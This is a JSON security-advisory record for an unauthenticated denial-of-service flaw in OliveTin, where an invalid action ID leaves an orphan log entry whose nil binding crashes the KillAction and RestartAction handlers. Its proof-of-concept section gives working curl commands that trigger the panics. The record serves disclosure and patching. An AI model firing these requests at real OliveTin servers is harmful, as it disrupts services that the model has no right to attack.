{"id":"GHSA-fwhj-785h-43hh","aliases":["GO-2026-4621"],"url":"https://o3.security/vulnerability/GHSA-fwhj-785h-43hh","summary":"OliveTin has crash on NPE by calling APIs with invalid bindings or log references","details":"### Summary\nAn unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification.\n\n### Details\nThe issue is caused by this flow:\n\n  1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor:\n     - `service/internal/api/api.go:239`\n\n  2. Executor stores a log entry before binding validation:\n     - `service/internal/executor/executor.go:519`\n\n  3. If binding is nil, execution stops, but the log entry remains:\n     - `service/internal/executor/executor.go:781`\n\n  4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`:\n     - `service/internal/api/api.go:79`\n\n  5. `RestartAction` has the same unsafe dereference:\n     - `service/internal/api/api.go:1285`\n\nBecause the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.\n\n\n### PoC\n  Environment:\n  - OliveTin default single frontend on `http://localhost:1337`\n  - Reproduced on `main` (commit `235493e`) and tag `3000.11.0`\n\n  1) Create orphan tracking ID with invalid action:\n  ```bash\n  T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \\\n    -H 'Content-Type: application/json' \\\n    --data '{\"actionId\":\"does-not-exist\"}' \\\n    | sed -n 's/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p')\n  echo \"$T\"\n\n  2. Trigger panic in RestartAction:\n\n  curl -v -X POST http://localhost:1337/api/RestartAction \\\n    -H 'Content-Type: application/json' \\\n    --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\n  3. Trigger panic in KillAction:\n\n  curl -v -X POST http://localhost:1337/api/KillAction \\\n    -H 'Content-Type: application/json' \\\n    --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\nObserved client output:\n\n  - curl: (52) Empty reply from server\n\nObserved server log:\n\n  - panic serving ... runtime error: invalid memory address or nil pointer dereference\n  - stack points to:\n      - service/internal/api/api.go:79 (KillAction)\n      - service/internal/api/api.go:1285 (RestartAction)\n\n```\n### Impact\n\nThis is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.","published":"2026-03-05T20:54:25Z","modified":"2026-03-23T04:56:28.767270765Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/OliveTin/OliveTin","fixedVersion":"0.0.0-20260304225158-bb14c5da3e64"}],"fix":{"url":"https://github.com/OliveTin/OliveTin/commit/bb14c5da3e64b03f207c7f38139eb60e97c278fc","label":"OliveTin/OliveTin@bb14c5d"},"references":[{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/security/advisories/GHSA-fwhj-785h-43hh"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/commit/bb14c5da3e64b03f207c7f38139eb60e97c278fc"},{"type":"PACKAGE","url":"https://github.com/OliveTin/OliveTin"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-03-23T04:56:28.767270765Z"}}